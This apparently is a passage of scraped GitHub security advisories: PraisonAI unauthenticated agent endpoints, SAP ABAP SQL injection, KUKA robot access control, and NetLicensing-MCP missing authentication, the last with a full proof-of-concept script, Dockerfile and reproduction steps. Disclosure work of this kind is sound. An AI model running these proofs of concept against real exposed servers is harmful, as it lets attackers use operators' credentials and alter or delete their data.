{result[\u0027status\u0027]}\")\n        if result[\"case\"] == \"no_auth_list\" and \"pov_agent\" not in json.dumps(result[\"body\"]):\n            raise SystemExit(\"[poc] MISS: unauthenticated list endpoint did not expose agent id\")\n        if result[\"case\"] == \"no_auth_list\":\n            continue\n        body_text = json.dumps(result[\"body\"], sort_keys=True)\n        if expected_marker not in body_text:\n            raise SystemExit(f\"[poc] MISS: marker absent for {result[\u0027case\u0027]}\")\n\n    print(\"[poc] HIT: unauthenticated clients invoked AgentTeam endpoints\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n## Impact\n\nIf an operator follows the documented remote-server pattern and exposes an `AgentTeam.launch()` server on a reachable interface, any network client can invoke the deployed agents without credentials.\n\nDepending on the deployed agents, an unauthenticated caller may be able to:\n\n- enumerate available agent IDs and names through `GET /{path}/list`;\n- trigger model/API spend by repeatedly invoking agents;\n- drive agents connected to local tools, internal APIs, SaaS integrations, browsers, files, or workflow actions;\n- trigger side effects through per-agent endpoints even if the operator expected only the team endpoint to be used;\n- access responses generated from connected private context, memory, or knowledge sources.\n\nThe impact is deployment-dependent, but the missing access control is in the framework\u0027s advertised network server path rather than in user application code.\n\n## Affected-Version Sweep\n\nStatic sweep of release tags shows the unauthenticated `AgentTeam.launch()` handler and per-agent registration present in:\n\n- `v4.6.33`\n- `v4.6.39`\n- `v4.6.40`\n- `v4.6.56`\n- `v4.6.57`\n\nThe issue remains present on current upstream main `2f9677abb2ea68eab864ee8b6a828fd0141612e1`.\n\nThe generated deploy API path was hardened between `v4.6.33` and `v4.6.39`, and remains hardened in `v4.6.57`. This supports the incomplete-fix/sibling-callsite classification: the fix did not cover `AgentTeam.launch()`.\n\n## Root Cause\n\nThe `AgentTeam.launch()` FastAPI server is implemented as an independent route-registration path. It does not reuse the hardened API server authentication helper, the gateway bind-aware auth guard, or a shared server-auth policy.\n\nThe security-sensitive action is direct invocation of `agent.chat()` from a network request. The route has no access-control check before that call.\n\n## Suggested Fix\n\nRecommended approach:\n\n1. Add a shared authentication helper for all network-facing agent invocation servers.\n2. Make `AgentTeam.launch()` fail closed for non-loopback binds unless a token/API key is configured.\n3. Require `Authorization: Bearer \u003ctoken\u003e` or an explicit documented API-key header for `POST /{path}`, `GET /{path}/list`, and `POST /{path}/{agent_id}`.\n4. Default `AgentTeam.launch()` to `host=\"127.0.0.1\"` unless an explicit unsafe/remote option plus auth is configured.\n5. Add regression tests proving:\n   - no token returns `401`;\n   - wrong token returns `403`;\n   - correct token can list agents;\n   - correct token can invoke the team endpoint;\n   - correct token can invoke the per-agent endpoint;\n   - external bind without auth fails at startup.\n\nIf unauthenticated local development remains supported, require loopback binding and a loud explicit unsafe opt-out for externally bound unauthenticated servers.\n\n## Severity\n\nRecommended severity: Critical\n\nRationale:\n\n- Network attack vector: the documented server supports remote access via `0.0.0.0`.\n- Low complexity: a single POST request invokes the agent.\n- No privileges: no credentials are required.\n- No user interaction: once the server is exposed, the attacker directly sends requests.\n- High confidentiality/integrity/availability impact depends on deployed agents and connected tools, but this is the same agent-control class as prior PraisonAI unauthenticated API advisories. The official remote-agent documentation explicitly discusses remote agents with tools, memory, knowledge, and auth headers, so the security-relevant configuration is not hypothetical.\n\nIf maintainers want to score based only on minimal agents with no tools and no private context, the lower-bound impact would still include unauthorized remote invocation and model/API spend.\n\n## Notes\n\nThe direct single-agent `Agent.launch()` path in current source appears to share the same missing-auth design, but it raises `NameError: name \u0027_server_lock\u0027 is not defined` before serving in the tested local source checkout. This report therefore makes the primary impact claim only for the confirmed working `AgentTeam.launch()` / `Agents.launch()` path.\n\nThe CLI `praisonai serve agents` surface advertises a `--api-key` option and should be reviewed by maintainers when applying a shared fix, but this submission does not depend on a CLI-specific bypass claim.",
  "id": "GHSA-x8cv-xmq7-p8xp",
  "modified": "2026-06-18T13:57:32Z",
  "published": "2026-06-18T13:57:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x8cv-xmq7-p8xp"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI AgentTeam.launch exposes unauthenticated remote agent listing and invocation endpoints"
}

GHSA-X94J-MC2F-6995

Vulnerability from github – Published: 2023-03-14 06:30 – Updated: 2023-03-16 21:30
VLAI
Details

Due to insufficient input sanitization, SAP ABAP - versions 751, 753, 753, 754, 756, 757, 791, allows an authenticated high privileged user to alter the current session of the user by injecting the malicious database queries over the network and gain access to the unintended data. This may lead to a high impact on the confidentiality and no impact on the availability and integrity of the application.

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-25615"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-14T05:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Due to insufficient input sanitization, SAP ABAP - versions 751, 753, 753, 754, 756, 757, 791, allows an authenticated high privileged user to alter the current session of the user by injecting the malicious database queries over the network and gain access to the unintended data. This may lead to a high impact on the confidentiality and no impact on the availability and integrity of the application.",
  "id": "GHSA-x94j-mc2f-6995",
  "modified": "2023-03-16T21:30:17Z",
  "published": "2023-03-14T06:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25615"
    },
    {
      "type": "WEB",
      "url": "https://launchpad.support.sap.com/#/notes/3289844"
    },
    {
      "type": "WEB",
      "url": "https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-X94P-26XF-7J8G

Vulnerability from github – Published: 2022-08-11 00:00 – Updated: 2022-08-11 00:00
VLAI
Details

The KUKA SystemSoftware V/KSS in versions prior to 8.6.5 is prone to improper access control as an unauthorized attacker can directly read and write robot configurations when access control is not available or not enabled (default).

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-2242"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-08-10T11:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "The KUKA SystemSoftware V/KSS in versions prior to 8.6.5 is prone to improper access control as an unauthorized attacker can directly read and write robot configurations when access control is not available or not enabled (default).",
  "id": "GHSA-x94p-26xf-7j8g",
  "modified": "2022-08-11T00:00:38Z",
  "published": "2022-08-11T00:00:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2242"
    },
    {
      "type": "WEB",
      "url": "https://www.kuka.com/advisories-CVE-2022-2242"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-X9VC-9FFQ-P3GJ

Vulnerability from github – Published: 2026-07-14 20:47 – Updated: 2026-07-14 20:47
VLAI
Summary
NetLicensing-MCP: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode
Details

Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode

Summary

When netlicensing-mcp is run in HTTP transport mode, the ApiKeyMiddleware fails to enforce authentication: requests that carry no client API key are unconditionally forwarded to the next handler (server.py:1427). The downstream HTTP client then falls back to the server operator's NETLICENSING_API_KEY environment variable (client.py:30) and uses it to authenticate every upstream call to the NetLicensing REST API. An unauthenticated network attacker can therefore invoke any MCP tool — including product listing, license creation/modification, and destructive delete operations — entirely under the operator's identity and account quota. CVSS 3.1 Base Score: 8.1 (High).

Details

The HTTP transport is started in src/netlicensing_mcp/server.py around line 1430 via mcp.streamable_http_app(), and ApiKeyMiddleware is registered immediately after (line 1431). The middleware implementation (lines 1412–1427) attempts to extract a per-request API key from either the x-netlicensing-api-key header or the ?apikey= query parameter. However, if neither source provides a key, the middleware takes no enforcement action and simply calls return await call_next(request) (line 1427), passing the unauthenticated request downstream.

The downstream client module (src/netlicensing_mcp/client.py) uses a Python ContextVar named api_key_ctx with a default of os.getenv("NETLICENSING_API_KEY", "") (line 30). Because the middleware never sets this context variable for unauthenticated requests, api_key_ctx.get() returns the server-level environment variable. The client then encodes this value into an HTTP Basic Authorization header (lines 62–70) and transmits it to the upstream NetLicensing REST API on every request (lines 105, 109).

The complete exploitable data flow is:

Step Location Description
1 server.py:1430 HTTP app created with mcp.streamable_http_app()
2 server.py:1431 ApiKeyMiddleware registered
3 server.py:1412–1419 Middleware attempts (optional) key extraction from headers/query
4 server.py:1427 Auth bypass sink: missing key → return await call_next(request)
5 server.py:155–163 Unauthenticated caller invokes netlicensing_list_products (or any tool)
6 tools/products.py:9,17 Tool delegates to nl_get("/product", ...)
7 client.py:30 Source: api_key_ctx defaults to NETLICENSING_API_KEY env var
8 client.py:62–70 Authorization: Basic base64("apiKey:<key>") constructed
9 client.py:105,109 Upstream sink: client.get(url, headers=_headers(), ...) executed

Critical code excerpts:

# src/netlicensing_mcp/server.py
1418:     if not key:
1419:         key = request.query_params.get("apikey")
1421:     if key:
1422:         token = api_key_ctx.set(key)
            ...
1427:     return await call_next(request)   # <-- no rejection when key is absent

# src/netlicensing_mcp/client.py
30:  "api_key", default=os.getenv("NETLICENSING_API_KEY", "")   # server-side fallback
...
64:  auth_str = f"apiKey:{api_key}"
70:  "Authorization": f"Basic {token}",
...
109: r = await client.get(url, headers=_headers(), params=params or {})

The README (README.md:90–94) documents the HTTP mode deployment pattern with -e NETLICENSING_API_KEY=your_key as a first-class production deployment option, including AWS App Runner / ELB examples (README.md:310–318). The per-client key recommendation (README.md:318) is advisory only and is not technically enforced.

A suggested patch replaces the unconditional pass-through with a 401 rejection:

--- a/src/netlicensing_mcp/server.py
+++ b/src/netlicensing_mcp/server.py
@@
          class ApiKeyMiddleware(BaseHTTPMiddleware):
              async def dispatch(self, request: Request, call_next):
+                 if request.url.path == "/health":
+                     return await call_next(request)
+
                  key = request.headers.get("x-netlicensing-api-key")
                  if not key:
                      auth = request.headers.get("authorization")
                      if auth and auth.lower().startswith("bearer "):
                          key = auth[7:]
@@
                          return await call_next(request)
                      finally:
                          api_key_ctx.reset(token)
-                 return await call_next(request)
+                 return JSONResponse(
+                     {"error": "NetLicensing API key is required for HTTP transport"},
+                     status_code=401,
+                 )

PoC

Environment requirements: - Docker (or Python 3.12 with netlicensing-mcp==0.1.5 and mcp client installed) - Target commit: ef0080c2aebbf4dfbce93a959dd7c1471103c05a

Self-contained Docker reproduction (all-in-one):

# Build the image from the repository root
docker build -f vuln-001/Dockerfile -t vuln-001-netlicensing .

# Run the PoC — exits 0 on confirmed exploit
docker run --rm --network=host vuln-001-netlicensing

Manual step-by-step reproduction:

# Terminal 1 — mock upstream NetLicensing REST API
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        print("MOCK_REQUEST", self.command, self.path,
              self.headers.get("Authorization"), flush=True)
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        self.wfile.write(json.dumps({"items": {"item": []}}).encode())
    def log_message(self, *args): pass
HTTPServer(("127.0.0.1", 19090), H).serve_forever()
PY

# Terminal 2 — vulnerable MCP server in HTTP mode with a server-side API key
NETLICENSING_API_KEY=SERVERSECRET \
NETLICENSING_BASE_URL=http://127.0.0.1:19090/core/v2/rest \
MCP_HOST=127.0.0.1 MCP_PORT=18181 PYTHONPATH=src \
python3 -m netlicensing_mcp.server http

# Terminal 3 — attacker: connect with NO API key and invoke a tool
python3 - <<'PY'
import asyncio
from mcp import ClientSession
from mcp.client.streamable_http import streamablehttp_client

async def main():
    async with streamablehttp_client("http://127.0.0.1:18181/mcp") as (read, write, _):
        async with ClientSession(read, write) as session:
            await session.initialize()
            print(await session.call_tool("netlicensing_list_products", {"filter": ""}))

asyncio.run(main())
PY

Expected output in Terminal 1:

MOCK_REQUEST GET /core/v2/rest/product Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==

Decoding the Base64 credential confirms the operator's secret was used:

$ echo YXBpS2V5OlNFUlZFUlNFQ1JFVA== | base64 -d
apiKey:SERVERSECRET

Observed evidence from dynamic reproduction (Phase 2):

[MOCK_UPSTREAM] GET /core/v2/rest/product  Authorization=Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==
Decoded: apiKey:SERVERSECRET
[EXPLOIT CONFIRMED] Unauthenticated MCP client caused the server to forward its own
NETLICENSING_API_KEY='SERVERSECRET' to the upstream NetLicensing API.
CWE-306 / VULN-001 reproduced.

Impact

This is a Missing Authentication for Critical Function (CWE-306) vulnerability. Any network-reachable attacker who can send HTTP requests to the /mcp endpoint can invoke the full set of MCP tools — including read, create, update, and delete operations — without supplying any credential. The attacker's requests are transparently executed under the server operator's NetLicensing account.

Concrete consequences include:

  • Confidentiality: enumeration of all products, licenses, licensees, and transactions associated with the operator's account.
  • Integrity: creation of new licenses or licensees, modification of existing license parameters, and forging token-based validations.
  • Availability: bulk deletion of products, licenses, or licensees, destroying the operator's licensing configuration.

Who is impacted: Operators who deploy netlicensing-mcp in HTTP transport mode (python3 -m netlicensing_mcp.server http) with NETLICENSING_API_KEY set as a server-side environment variable and expose the service on a network-reachable interface. This deployment pattern is officially documented in the project README for remote/shared and cloud deployments.

Reproduction artifacts

Dockerfile

FROM python:3.12-slim

RUN apt-get update && apt-get install -y --no-install-recommends git \
 && rm -rf /var/lib/apt/lists/*

WORKDIR /app

# Copy repo (with .git for hatch-vcs versioning) and PoC script
COPY repo/ /app/repo/
COPY vuln-001/poc.py /app/poc.py

# Install the vulnerable MCP server package and its dependencies
RUN cd /app/repo && pip install --no-cache-dir .

CMD ["python3", "/app/poc.py"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode
CWE-306 — Missing Authentication for Critical Function

Attack scenario:
 1. Operator runs MCP server in HTTP mode with NETLICENSING_API_KEY set server-side.
 2. Attacker connects to /mcp endpoint supplying NO API key whatsoever.
 3. ApiKeyMiddleware (server.py:1427) passes the request through unconditionally.
 4. Downstream client.py:30 falls back to the server-env NETLICENSING_API_KEY.
 5. The upstream NetLicensing REST API receives the operator's credential — attacker
 effectively uses the operator's account for all MCP tool invocations.

Expected evidence: mock upstream prints
 Authorization: Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==
 Decoded: apiKey:SERVERSECRET
even though the MCP client sent no credentials.
"""

import asyncio
import base64
import json
import os
import subprocess
import sys
import threading
import time
from http.server import BaseHTTPRequestHandler, HTTPServer

# ─── Configuration ────────────────────────────────────────────────────────────

MOCK_PORT = 19090
MCP_PORT = 18181
SERVER_API_KEY = "SERVERSECRET" # simulated operator secret injected via env var

# ─── Mock upstream NetLicensing REST API ─────────────────────────────────────

captured_requests: list[dict] = []
mock_ready = threading.Event()


class MockUpstreamHandler(BaseHTTPRequestHandler):
 def _handle(self):
 auth = self.headers.get("Authorization", "<none>")
 entry = {
 "method": self.command,
 "path": self.path,
 "authorization": auth,
 }
 captured_requests.append(entry)
 print(
 f"[MOCK_UPSTREAM] {self.command} {self.path} "
 f"Authorization={auth}",
 flush=True,
 )
 self.send_response(200)
 self.send_header("Content-Type", "application/json")
 self.end_headers()
 self.wfile.write(json.dumps({"items": {"item": []}}).encode())

 do_GET = _handle
 do_POST = _handle
 do_PUT = _handle

 def log_message(self, *args):
 pass


def _run_mock(port: int) -> None:
 srv = HTTPServer(("127.0.0.1", port), MockUpstreamHandler)
 mock_ready.set()
 srv.serve_forever()


# ─── Helpers ─────────────────────────────────────────────────────────────────

def _decode_basic(header: str) -> str | None:
 if not header.startswith("Basic "):
 return None
 try:
 return base64.b64decode(header[6:]).decode()
 except Exception:
 return None


async def _wait_for_mcp(host: str, port: int, timeout: float = 15.0) -> bool:
 """Poll until the MCP /health endpoint responds or timeout."""
 import httpx
 deadline = time.monotonic() + timeout
 while time.monotonic() < deadline:
 try:
 async with httpx.AsyncClient() as c:
 r = await c.get(f"http://{host}:{port}/health", timeout=1)
 if r.status_code < 500:
 return True
 except Exception:
 pass
 await asyncio.sleep(0.4)
 return False


# ─── PoC ──────────────────────────────────────────────────────────────────────

async def main() -> None:
 # 1. Start mock upstream
 t = threading.Thread(target=_run_mock, args=(MOCK_PORT,), daemon=True)
 t.start()
 mock_ready.wait(timeout=5)
 print(f"[*] Mock upstream listening on 127.0.0.1:{MOCK_PORT}", flush=True)

 # 2. Launch vulnerable MCP server in HTTP mode with server-side API key
 env = os.environ.copy()
 env.update({
 "NETLICENSING_API_KEY": SERVER_API_KEY,
 "NETLICENSING_BASE_URL": f"http://127.0.0.1:{MOCK_PORT}/core/v2/rest",
 "MCP_HOST": "127.0.0.1",
 "MCP_PORT": str(MCP_PORT),
 })
 proc = subprocess.Popen(
 [sys.executable, "-m", "netlicensing_mcp.server", "http"],
 env=env,
 cwd="/app/repo",
 stdout=subprocess.PIPE,
 stderr=subprocess.PIPE,
 )
 print(f"[*] Vulnerable MCP server started (pid={proc.pid})", flush=True)

 ready = await _wait_for_mcp("127.0.0.1", MCP_PORT, timeout=15)
 if not ready:
 # /health may not exist; just wait a fixed time
 print("[*] /health not responding — waiting 5 s anyway ...", flush=True)
 await asyncio.sleep(5)

 if proc.poll() is not None:
 _, err = proc.communicate()
 print(f"[!] MCP server exited unexpectedly:\n{err.decode()}", flush=True)
 sys.exit(1)

 print(f"[*] MCP server ready on 127.0.0.1:{MCP_PORT}", flush=True)

 # 3. Attack: connect WITHOUT any API key and invoke a tool
 print(
 "\n[ATTACK] Sending MCP tool call to netlicensing_list_products "
 "with NO client API key ...",
 flush=True,
 )
 try:
 from mcp import ClientSession
 from mcp.client.streamable_http import streamablehttp_client

 async with streamablehttp_client(
 f"http://127.0.0.1:{MCP_PORT}/mcp"
 ) as (read, write, _):
 async with ClientSession(read, write) as session:
 await session.initialize()
 result = await session.call_tool(
 "netlicensing_list_products", {"filter": ""}
 )
 print(f"[*] Tool call succeeded: {result}", flush=True)
 except Exception as exc:
 print(f"[*] MCP client exception (may be normal upstream error): {exc}", flush=True)
 finally:
 proc.terminate()
 await asyncio.sleep(0.5)

 # 4. Evaluate captured evidence
 print("\n" + "=" * 70, flush=True)
 print("CAPTURED UPSTREAM REQUESTS:", flush=True)
 for req in captured_requests:
 print(f" {req['method']} {req['path']}", flush=True)
 print(f" Authorization: {req['authorization']}", flush=True)
 decoded = _decode_basic(req["authorization"])
 if decoded:
 print(f" Decoded: {decoded}", flush=True)
 print("=" * 70, flush=True)

 # 5. Verdict
 server_key_leaked = any(
 SERVER_API_KEY in (_decode_basic(r["authorization"]) or "")
 for r in captured_requests
 )

 if server_key_leaked:
 print(
 f"\n[EXPLOIT CONFIRMED] Unauthenticated MCP client caused the server to "
 f"forward its own NETLICENSING_API_KEY='{SERVER_API_KEY}' to the upstream "
 f"NetLicensing API. CWE-306 / VULN-001 reproduced.",
 flush=True,
 )
 sys.exit(0)
 elif not captured_requests:
 print(
 "\n[FAIL] No upstream requests captured — the MCP tool call did not "
 "reach the upstream API.",
 flush=True,
 )
 sys.exit(2)
 else:
 print(
 "\n[FAIL] Upstream requests captured but server API key not found in "
 "Authorization headers.",
 flush=True,
 )
 sys.exit(2)


if __name__ == "__main__":
 asyncio.run(main())
Severity
8.1 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "netlicensing-mcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54446"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-14T20:47:19Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode\n\n### Summary\n\nWhen `netlicensing-mcp` is run in HTTP transport mode, the `ApiKeyMiddleware` fails to enforce authentication: requests that carry no client API key are unconditionally forwarded to the next handler (`server.py:1427`). The downstream HTTP client then falls back to the server operator\u0027s `NETLICENSING_API_KEY` environment variable (`client.py:30`) and uses it to authenticate every upstream call to the NetLicensing REST API. An unauthenticated network attacker can therefore invoke any MCP tool \u2014 including product listing, license creation/modification, and destructive delete operations \u2014 entirely under the operator\u0027s identity and account quota. CVSS 3.1 Base Score: **8.1 (High)**.\n\n### Details\n\nThe HTTP transport is started in `src/netlicensing_mcp/server.py` around line 1430 via `mcp.streamable_http_app()`, and `ApiKeyMiddleware` is registered immediately after (line 1431). The middleware implementation (lines 1412\u20131427) attempts to extract a per-request API key from either the `x-netlicensing-api-key` header or the `?apikey=` query parameter. However, if neither source provides a key, the middleware takes no enforcement action and simply calls `return await call_next(request)` (line 1427), passing the unauthenticated request downstream.\n\nThe downstream client module (`src/netlicensing_mcp/client.py`) uses a Python `ContextVar` named `api_key_ctx` with a default of `os.getenv(\"NETLICENSING_API_KEY\", \"\")` (line 30). Because the middleware never sets this context variable for unauthenticated requests, `api_key_ctx.get()` returns the server-level environment variable. The client then encodes this value into an HTTP Basic Authorization header (`lines 62\u201370`) and transmits it to the upstream NetLicensing REST API on every request (`lines 105, 109`).\n\nThe complete exploitable data flow is:\n\n| Step | Location | Description |\n|------|----------|-------------|\n| 1 | `server.py:1430` | HTTP app created with `mcp.streamable_http_app()` |\n| 2 | `server.py:1431` | `ApiKeyMiddleware` registered |\n| 3 | `server.py:1412\u20131419` | Middleware attempts (optional) key extraction from headers/query |\n| 4 | `server.py:1427` | **Auth bypass sink**: missing key \u2192 `return await call_next(request)` |\n| 5 | `server.py:155\u2013163` | Unauthenticated caller invokes `netlicensing_list_products` (or any tool) |\n| 6 | `tools/products.py:9,17` | Tool delegates to `nl_get(\"/product\", ...)` |\n| 7 | `client.py:30` | **Source**: `api_key_ctx` defaults to `NETLICENSING_API_KEY` env var |\n| 8 | `client.py:62\u201370` | `Authorization: Basic base64(\"apiKey:\u003ckey\u003e\")` constructed |\n| 9 | `client.py:105,109` | **Upstream sink**: `client.get(url, headers=_headers(), ...)` executed |\n\nCritical code excerpts:\n\n```python\n# src/netlicensing_mcp/server.py\n1418:     if not key:\n1419:         key = request.query_params.get(\"apikey\")\n1421:     if key:\n1422:         token = api_key_ctx.set(key)\n            ...\n1427:     return await call_next(request)   # \u003c-- no rejection when key is absent\n```\n\n```python\n# src/netlicensing_mcp/client.py\n30:  \"api_key\", default=os.getenv(\"NETLICENSING_API_KEY\", \"\")   # server-side fallback\n...\n64:  auth_str = f\"apiKey:{api_key}\"\n70:  \"Authorization\": f\"Basic {token}\",\n...\n109: r = await client.get(url, headers=_headers(), params=params or {})\n```\n\nThe README (`README.md:90\u201394`) documents the HTTP mode deployment pattern with `-e NETLICENSING_API_KEY=your_key` as a first-class production deployment option, including AWS App Runner / ELB examples (`README.md:310\u2013318`). The per-client key recommendation (`README.md:318`) is advisory only and is not technically enforced.\n\nA suggested patch replaces the unconditional pass-through with a `401` rejection:\n\n```diff\n--- a/src/netlicensing_mcp/server.py\n+++ b/src/netlicensing_mcp/server.py\n@@\n          class ApiKeyMiddleware(BaseHTTPMiddleware):\n              async def dispatch(self, request: Request, call_next):\n+                 if request.url.path == \"/health\":\n+                     return await call_next(request)\n+\n                  key = request.headers.get(\"x-netlicensing-api-key\")\n                  if not key:\n                      auth = request.headers.get(\"authorization\")\n                      if auth and auth.lower().startswith(\"bearer \"):\n                          key = auth[7:]\n@@\n                          return await call_next(request)\n                      finally:\n                          api_key_ctx.reset(token)\n-                 return await call_next(request)\n+                 return JSONResponse(\n+                     {\"error\": \"NetLicensing API key is required for HTTP transport\"},\n+                     status_code=401,\n+                 )\n```\n\n### PoC\n\n**Environment requirements:**\n- Docker (or Python 3.12 with `netlicensing-mcp==0.1.5` and `mcp` client installed)\n- Target commit: `ef0080c2aebbf4dfbce93a959dd7c1471103c05a`\n\n**Self-contained Docker reproduction (all-in-one):**\n\n```\n# Build the image from the repository root\ndocker build -f vuln-001/Dockerfile -t vuln-001-netlicensing .\n\n# Run the PoC \u2014 exits 0 on confirmed exploit\ndocker run --rm --network=host vuln-001-netlicensing\n```\n\n**Manual step-by-step reproduction:**\n\n```\n# Terminal 1 \u2014 mock upstream NetLicensing REST API\npython3 - \u003c\u003c\u0027PY\u0027\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport json\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        print(\"MOCK_REQUEST\", self.command, self.path,\n              self.headers.get(\"Authorization\"), flush=True)\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/json\")\n        self.end_headers()\n        self.wfile.write(json.dumps({\"items\": {\"item\": []}}).encode())\n    def log_message(self, *args): pass\nHTTPServer((\"127.0.0.1\", 19090), H).serve_forever()\nPY\n\n# Terminal 2 \u2014 vulnerable MCP server in HTTP mode with a server-side API key\nNETLICENSING_API_KEY=SERVERSECRET \\\nNETLICENSING_BASE_URL=http://127.0.0.1:19090/core/v2/rest \\\nMCP_HOST=127.0.0.1 MCP_PORT=18181 PYTHONPATH=src \\\npython3 -m netlicensing_mcp.server http\n\n# Terminal 3 \u2014 attacker: connect with NO API key and invoke a tool\npython3 - \u003c\u003c\u0027PY\u0027\nimport asyncio\nfrom mcp import ClientSession\nfrom mcp.client.streamable_http import streamablehttp_client\n\nasync def main():\n    async with streamablehttp_client(\"http://127.0.0.1:18181/mcp\") as (read, write, _):\n        async with ClientSession(read, write) as session:\n            await session.initialize()\n            print(await session.call_tool(\"netlicensing_list_products\", {\"filter\": \"\"}))\n\nasyncio.run(main())\nPY\n```\n\n**Expected output in Terminal 1:**\n\n```\nMOCK_REQUEST GET /core/v2/rest/product Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==\n```\n\nDecoding the Base64 credential confirms the operator\u0027s secret was used:\n\n```\n$ echo YXBpS2V5OlNFUlZFUlNFQ1JFVA== | base64 -d\napiKey:SERVERSECRET\n```\n\n**Observed evidence from dynamic reproduction (Phase 2):**\n\n```\n[MOCK_UPSTREAM] GET /core/v2/rest/product  Authorization=Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==\nDecoded: apiKey:SERVERSECRET\n[EXPLOIT CONFIRMED] Unauthenticated MCP client caused the server to forward its own\nNETLICENSING_API_KEY=\u0027SERVERSECRET\u0027 to the upstream NetLicensing API.\nCWE-306 / VULN-001 reproduced.\n```\n\n### Impact\n\nThis is a **Missing Authentication for Critical Function (CWE-306)** vulnerability. Any network-reachable attacker who can send HTTP requests to the `/mcp` endpoint can invoke the full set of MCP tools \u2014 including read, create, update, and delete operations \u2014 without supplying any credential. The attacker\u0027s requests are transparently executed under the server operator\u0027s NetLicensing account.\n\nConcrete consequences include:\n\n- **Confidentiality**: enumeration of all products, licenses, licensees, and transactions associated with the operator\u0027s account.\n- **Integrity**: creation of new licenses or licensees, modification of existing license parameters, and forging token-based validations.\n- **Availability**: bulk deletion of products, licenses, or licensees, destroying the operator\u0027s licensing configuration.\n\n**Who is impacted**: Operators who deploy `netlicensing-mcp` in HTTP transport mode (`python3 -m netlicensing_mcp.server http`) with `NETLICENSING_API_KEY` set as a server-side environment variable and expose the service on a network-reachable interface. This deployment pattern is officially documented in the project README for remote/shared and cloud deployments.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends git \\\n \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# Copy repo (with .git for hatch-vcs versioning) and PoC script\nCOPY repo/ /app/repo/\nCOPY vuln-001/poc.py /app/poc.py\n\n# Install the vulnerable MCP server package and its dependencies\nRUN cd /app/repo \u0026\u0026 pip install --no-cache-dir .\n\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode\nCWE-306 \u2014 Missing Authentication for Critical Function\n\nAttack scenario:\n 1. Operator runs MCP server in HTTP mode with NETLICENSING_API_KEY set server-side.\n 2. Attacker connects to /mcp endpoint supplying NO API key whatsoever.\n 3. ApiKeyMiddleware (server.py:1427) passes the request through unconditionally.\n 4. Downstream client.py:30 falls back to the server-env NETLICENSING_API_KEY.\n 5. The upstream NetLicensing REST API receives the operator\u0027s credential \u2014 attacker\n effectively uses the operator\u0027s account for all MCP tool invocations.\n\nExpected evidence: mock upstream prints\n Authorization: Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==\n Decoded: apiKey:SERVERSECRET\neven though the MCP client sent no credentials.\n\"\"\"\n\nimport asyncio\nimport 